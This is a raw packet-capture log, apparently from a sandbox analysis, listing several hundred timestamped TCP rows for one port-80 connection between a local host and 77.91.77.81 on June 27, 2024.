Jun 27, 2024 07:37:23.055486917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.055495024 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.055510044 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.055514097 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.055525064 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.055531979 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.055541039 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.055552006 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.055558920 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.055567980 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.055577040 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.055591106 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.055594921 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.055604935 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.055618048 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.055623055 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.055633068 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.055641890 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.055651903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.055659056 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.055666924 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.055679083 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.055685997 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.055695057 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.055713892 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.055728912 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.056835890 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.056845903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.056850910 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.056859970 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.056869030 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.056878090 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.056889057 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.056895971 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.056906939 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.056920052 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.056924105 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.056941986 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.056956053 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.110125065 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.110183001 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.110193014 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.110236883 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.110295057 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.110302925 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.110318899 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.110332012 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.110340118 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.110348940 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.110371113 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.110397100 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.110423088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.110431910 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.110460997 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.110481977 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.110634089 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.110649109 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.110658884 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.110670090 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.110677958 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.110687971 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.110694885 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.110703945 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.110714912 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.110723019 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.110732079 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.110742092 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.110754967 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.110759974 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.110783100 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.110801935 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.111155987 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.111165047 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.111175060 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.111183882 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.111193895 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.111205101 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.111215115 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.111223936 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.111243963 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.111274004 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.139229059 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.139369011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.139379978 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.139447927 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.139499903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.139508963 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.139518976 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.139529943 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.139539003 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.139559984 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.139590025 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.139643908 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.139678955 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.139760971 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.139774084 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.139791965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.139799118 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.139808893 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.139816046 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.139830112 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.139847994 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.139919043 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.139928102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.139960051 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.140033960 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.140068054 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.142643929 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.142652988 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.142663002 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.142718077 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.142740965 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.142812967 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.142822027 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.142831087 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.142855883 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.142872095 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.143002987 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.143012047 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.143022060 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.143032074 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.143042088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.143053055 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.143066883 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.143070936 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.143085003 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.143090010 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.143106937 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.143125057 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.143317938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.143326044 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.143336058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.143352985 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.143361092 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.143369913 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.143384933 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.143389940 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.143407106 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.143429041 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.143455029 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.143464088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.143490076 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.143501997 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.143665075 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.143673897 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.143712044 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.143826008 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.143836975 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.143846989 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.143857956 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.143866062 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.143874884 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.143886089 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.143894911 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.143903017 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.143913031 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.143920898 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.143943071 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.144144058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.144153118 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.144159079 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.144167900 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.144193888 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.144203901 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.144301891 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.144500971 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.144510984 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.144520044 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.144529104 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.144539118 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.144546986 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.144582987 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.144666910 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.144676924 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.144685984 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.144696951 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.144707918 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.144712925 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.144726992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.144731998 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.144745111 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.144750118 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.144757986 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.144768953 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.144778013 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.144787073 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.144798040 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.144804955 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.144814014 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.144820929 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.144835949 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.144851923 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.145318985 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.145328999 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.145338058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.145348072 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.145370007 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.145394087 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.145468950 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.145478964 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.145487070 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.145495892 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.145504951 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.145514011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.145525932 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.145534039 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.145541906 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.145560026 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.145577908 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.145632982 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.145642996 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.145654917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.145663023 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.145673037 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.145680904 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.145689964 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.145697117 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.145706892 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.145714998 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.145728111 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.145734072 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.145741940 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.145760059 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.145768881 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.146419048 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.146464109 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.197825909 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.197866917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.197876930 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.198013067 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.198020935 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.198038101 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.198043108 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.198052883 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.198064089 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.198090076 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.198113918 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.198261023 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.198271990 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.198282957 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.198295116 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.198304892 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.198313951 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.198322058 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.198359966 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.198461056 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.198470116 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.198497057 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.198519945 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.198613882 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.198623896 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.198632956 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.198642015 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.198652983 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.198661089 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.198668003 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.198678970 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.198690891 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.198694944 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.198707104 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.198714018 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.198730946 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.198760033 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.198967934 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.198980093 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.199017048 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.199068069 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.199076891 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.199105024 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.199126005 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.226167917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.226181030 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.226191998 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.226289034 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.226299047 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.226311922 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.226320028 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.226334095 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.226341963 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.226366043 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.226393938 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.226413012 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.226459026 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.226480961 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.226491928 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.226520061 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.226537943 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.226655006 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.226665974 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.226676941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.226689100 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.226701021 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.226736069 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.229124069 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.229135036 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.229146004 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.229212046 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.229265928 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.229276896 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.229288101 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.229320049 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.229331017 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.229350090 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.229388952 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.229410887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.229422092 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.229433060 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.229455948 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.229485035 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.229505062 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.229516983 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.229527950 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.229542017 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.229551077 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.229562044 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.229577065 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.229584932 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.229603052 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.229629040 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.229846001 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.229886055 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.229911089 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.229922056 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.229933977 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.229948997 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.229968071 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.230142117 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.230153084 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.230173111 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.230184078 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.230197906 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.230206966 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.230216026 CEST	49706	80	192.168.2.5	77.91.77.81
